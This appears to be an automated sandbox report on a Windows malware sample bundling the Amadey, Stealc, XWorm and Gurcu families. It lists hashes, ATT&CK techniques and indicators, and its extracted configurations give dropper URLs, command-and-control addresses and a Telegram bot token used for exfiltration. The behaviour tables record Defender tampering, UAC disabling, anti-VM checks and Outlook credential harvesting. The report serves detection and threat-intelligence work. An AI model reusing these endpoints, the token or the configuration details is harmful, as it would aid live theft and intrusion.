amadey | 1c2f115d150d479f4ee5665477ccbfcb0ebda06e7767c90e87f55f23bacb6125

Analysis

max time kernel
96s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2024 23:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

1.8MB
MD5

a68bd83f0cedd6b76cca22d5853ec168
SHA1

ce0eae756e594d55f9a3835fb46fa82895c12c76
SHA256

1c2f115d150d479f4ee5665477ccbfcb0ebda06e7767c90e87f55f23bacb6125
SHA512

8441eb36925308b653caf7abdb34dbcb88799f14fd5fc9f11ba363206a46e83430c4caf804631b23c5dcb710da56bb691371fd5fc7a01461006387364baa85f0
SSDEEP

49152:44ylfSD3avYUIh0+OZiq+ZrodAR2u6EuY:47lfSDfUHwrodAR2u5F

Score

10^/10

amadey gurcu stealc xworm 9c9aa5 mars collection credential_access discovery evasion execution persistence rat stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://176.113.115.178/FF/2.png

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://176.113.115.178/FF/3.png

Extracted

Language

hta

Source

URLs

hta.dropper

http://176.113.115.178/Windows-Update

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://176.113.115.178/FF/1.png

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

http://185.215.113.43

Attributes

install_dir
abc3bc1985
install_file
skotes.exe
strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
url_paths
/Zu7JuNko/index.php

rc4.plain

Extracted

Family

xworm

87.120.112.33:8398

Attributes

Install_directory
%LocalAppData%
install_file
svchost.exe
telegram
https://api.telegram.org/bot6673004050:AAEcDfPnnGAswDvyrn9-bkOySVSnbPqLnBU/sendMessage?chat_id=1470436579

Extracted

Family

stealc

Botnet

mars

http://185.215.113.206

Attributes

url_path
/c4becf79229cb002.php

Extracted

Family

gurcu

https://api.telegram.org/bot6673004050:AAEcDfPnnGAswDvyrn9-bkOySVSnbPqLnBU/sendMessage?chat_id=1470436579

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000200000001e761-3044.dat	family_xworm
behavioral2/memory/6084-3058-0x00000000004D0000-0x00000000004E8000-memory.dmp	family_xworm

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	file.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	L.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
41	2164	powershell.exe
42	1988	powershell.exe
50	2344	mshta.exe
52	3868	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1448	powershell.exe
5380	powershell.exe
2740	powershell.exe
6136	powershell.exe
3276	powershell.exe
2684	powershell.exe
4820	powershell.exe
232	powershell.exe
2544	powershell.exe
3276	powershell.exe
1988	powershell.exe
2164	powershell.exe
3868	powershell.exe
2544	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 1 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
4720	chrome.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	LB31.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Mig.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Mig.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	L.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	L.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	LB31.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	file.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	document.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	document.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	document.exe

Executes dropped EXE 11 IoCs

pid	Process
3188	skotes.exe
1096	L.exe
1832	file.exe
2448	FunnyJellyfish.exe
4236	FunnyJellyfish.tmp
6084	document.exe
2756	FunnyJellyfish.exe
5148	FunnyJellyfish.tmp
5304	skotes.exe
5340	LB31.exe
4596	Mig.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	L.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe

Loads dropped DLL 3 IoCs

pid	Process
5228	regsvr32.exe
5716	regsvr32.exe
6032	regsvr32.EXE

Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	RegSvcs.exe
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Local\\svchost.exe"	document.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5860	powercfg.exe
1592	powercfg.exe
5336	powercfg.exe
3860	powercfg.exe
3404	powercfg.exe
3988	powercfg.exe
2636	powercfg.exe
3704	powercfg.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000300000000073f-8908.dat	autoit_exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	Mig.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\MRT.exe	LB31.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
4364	file.exe
3188	skotes.exe
1096	L.exe
5304	skotes.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 2164 set thread context of 4364	2164	powershell.exe	107
PID 5340 set thread context of 6028	5340	LB31.exe	161
PID 4596 set thread context of 5828	4596	Mig.exe	194
PID 4596 set thread context of 6132	4596	Mig.exe	195
PID 4596 set thread context of 4744	4596	Mig.exe	200

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	file.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6128	sc.exe
4532	sc.exe
5892	sc.exe
5140	sc.exe
1856	sc.exe
1832	sc.exe
4544	sc.exe
6052	sc.exe
5808	sc.exe
2892	sc.exe
5548	sc.exe
6048	sc.exe
1004	sc.exe
1076	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FunnyJellyfish.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FunnyJellyfish.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FunnyJellyfish.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	L.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FunnyJellyfish.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1068	timeout.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2428	ipconfig.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
5248	taskkill.exe
556	taskkill.exe
364	taskkill.exe
5240	taskkill.exe
1068	taskkill.exe

Modifies data under HKEY_USERS 60 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1732230700"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 21 Nov 2024 23:11:41 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={8EDDE341-6043-44F9-8E11-D9E3F6A00C16}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
